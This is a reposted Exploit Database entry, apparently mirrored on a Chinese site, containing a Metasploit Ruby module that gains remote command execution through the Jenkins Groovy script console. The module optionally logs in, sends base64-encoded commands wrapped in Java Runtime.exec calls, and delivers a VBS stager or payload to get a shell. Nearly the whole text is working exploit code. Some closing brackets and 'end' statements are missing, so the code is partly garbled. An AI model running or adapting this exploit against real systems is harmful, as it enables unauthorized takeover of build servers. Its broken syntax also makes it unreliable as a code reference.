Jenkins CI Script Console – Command Execution (Metasploit)

Exploit Database
109 阅读

作者： Spencer McIntyre

日期： 2013-01-18
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/24206/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::CmdStagerVBS

def initialize(info = {})

super(update_info(info,

'Name' => 'Jenkins Script-Console Java Execution',

'Description'=> %q{

This module uses the Jenkins Groovy script console to execute

OS commands using Java.

'Author' =>

[

'Spencer McIntyre',

'jamcut'

'License'=> MSF_LICENSE,

'Version'=> '$Revision: $',

'DefaultOptions' =>

{

'WfsDelay' => '10',

'References' =>

[

['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']

'Targets' =>

[

['Windows',{'Arch' => ARCH_X86, 'Platform' => 'win'}],

['Unix', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],

'DisclosureDate' => 'Jan 18 2013',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),

OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),

OptString.new('PATH', [ true, 'The path to jenkins', '/jenkins' ]),

], self.class)

end

def check

res = send_request_cgi({'uri' => "#{datastore['PATH']}/login"})

if res and res.headers.include?('X-Jenkins')

return Exploit::CheckCode::Detected

else

return Exploit::CheckCode::Safe

end

def http_send_command(cmd, opts = {})

res = send_request_cgi({

'method'=> 'POST',

'uri' => datastore['PATH'] + '/script',

'cookie'=> @cookie,

'vars_post' =>

{

'script' => java_craft_runtime_exec(cmd),

'Submit' => 'Run'

}

})

if not (res and res.code == 200)

fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')

end

def java_craft_runtime_exec(cmd)

decoder = Rex::Text.rand_text_alpha(5, 8)

decoded_bytes = Rex::Text.rand_text_alpha(5, 8)

cmd_array = Rex::Text.rand_text_alpha(5, 8)

jcode ="sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"

jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"

jcode << "String [] #{cmd_array} = new String[3];\n"

if target['Platform'] == 'win'

jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"

jcode << "#{cmd_array}[1] = \"/c\";\n"

else

jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"

jcode << "#{cmd_array}[1] = \"-c\";\n"

end

jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"

jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"

jcode

end

def execute_command(cmd, opts = {})

http_send_command("#{cmd}")

end

def exploit

print_status('Checking access to the script console')

res = send_request_cgi({'uri' => "#{datastore['PATH']}/script"})

if not (res and res.code)

fail_with(Exploit::Failure::Unknown)

end

sessionid = 'JSESSIONID=' << res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]

@cookie = "#{sessionid}"

if res.code != 200

print_status('Logging in...')

res = send_request_cgi({

'method'=> 'POST',

'uri' => datastore['PATH'] + '/j_acegi_security_check',

'cookie'=> @cookie,

'vars_post' =>

{

'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),

'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),

'Submit' => 'log in'

}

})

if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/

fail_with(Exploit::Failure::NoAccess, 'login failed')

end

else

print_status('No authentication required, skipping login...')

end

case target['Platform']

when 'win'

print_status("#{rhost}:#{rport} - Sending VBS stager...")

execute_cmdstager({:linemax => 2049})

when 'unix'

print_status("#{rhost}:#{rport} - Sending payload...")

http_send_command("#{payload.encoded}")

end

handler

end